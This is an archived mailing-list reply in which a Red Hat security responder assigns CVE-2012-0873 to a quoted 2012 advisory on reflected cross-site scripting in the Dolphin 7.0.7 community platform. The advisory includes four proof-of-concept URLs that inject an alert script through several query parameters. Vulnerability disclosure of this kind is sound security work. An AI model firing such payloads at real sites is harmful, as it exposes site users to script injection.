full-disclosure - Re: [oss-security] Dolphin 7.0.7 <= Multiple Cross Site Scripting Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <4F42D1D9.1060102@redhat.com>
Date: Mon, 20 Feb 2012 16:06:01 -0700
From: Kurt Seifried <kseifried@...hat.com>
To: oss-security@...ts.openwall.com
Cc: vuln@...urity.nnov.ru, vuln <vuln@...unia.com>, news@...uriteam.com,
	secalert@...urityreason.com, submit@...ecurity.com,
	bugs@...uritytracker.com,
	full-disclosure <full-disclosure@...ts.grok.org.uk>,
	bugtraq <bugtraq@...urityfocus.com>, moderators@...db.org,
	submissions@...ketstormsecurity.org
Subject: Re: [oss-security] Dolphin 7.0.7 <= Multiple
 Cross Site Scripting Vulnerabilities

On 02/20/2012 10:05 AM, YGN Ethical Hacker Group wrote:
> 1. OVERVIEW
> 
> Dolphin 7.0.7 and lower versions are vulnerable to Cross Site Scripting.
> 
> 
> 2. BACKGROUND
> 
> Dolphin is the only "all-in-one" free community software platform for
> creating your own social networking, community or online dating site
> without any limits and under your full control. Dolphin comes with
> hundreds of features, module plugins and tools. Everything is included
> and extension posibilities are literally endless. You can use it for
> free with a BoonEx link in the footer or buy a $99 permanent license
> to remove that requirement.
> 
> 
> 3. VULNERABILITY DESCRIPTION
> 
> Multiple parameters (explain,photos_only,online_only,mode) were not
> properly sanitized, which allows attacker to conduct Cross Site
> Scripting attack. This may allow an attacker to create a specially
> crafted URL that would execute arbitrary script code in a victim's
> browser.
> 
> 
> 4. VERSIONS AFFECTED
> 
> 7.0.7 and lower
> 
> 
> 5. PROOF-OF-CONCEPT/EXPLOIT
> 
> Vulnerable Parameter: explain
> 
> http://localhost/dolph/explanation.php?explain=%27%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E
> 
> 
> Vulnerable Parameters: photos_only,online_only,mode
> 
> http://localhost/dolph/viewFriends.php?iUser=1&page=1&per_page=32&sort=activity&photos_only='"><script>alert(/xss/)</script>
> 
> http://localhost/dolph/viewFriends.php?iUser=1&page=1&per_page=32&sort=activity&online_only='"><script>alert(/xss/)</script>
> 
> http://localhost/dolph/viewFriends.php?iUser=1&page=1&sort=activity&mode='"><script>alert(/xss/)</script>
> 
> 
> 6. SOLUTION
> 
> Upgade to the latest version of Dolphine.
> 
> 
> 7. VENDOR
> 
> BoonEx Pty Ltd
> http://www.boonex.com/
> 
> 
> 8. CREDIT
> 
> Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
> 
> 
> 9. DISCLOSURE TIME-LINE
> 
> 2011-06-09: notified vendor
> 2011-10-24: fixed version, 7.0.8, released
> 2012-02-20: vulnerability disclosed
> 
> 
> 10. REFERENCES
> 
> Original Advisory URL:
> http://yehg.net/lab/pr0js/advisories/%5BDolphin_7.0.7%5D_xss
> BoonEx Home Page: http://www.boonex.com/
> 
> 
> #yehg [2012-02-20]

Please use CVE-2012-0873 for these XSS issues.

-- 
Kurt Seifried Red Hat Security Response Team (SRT)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/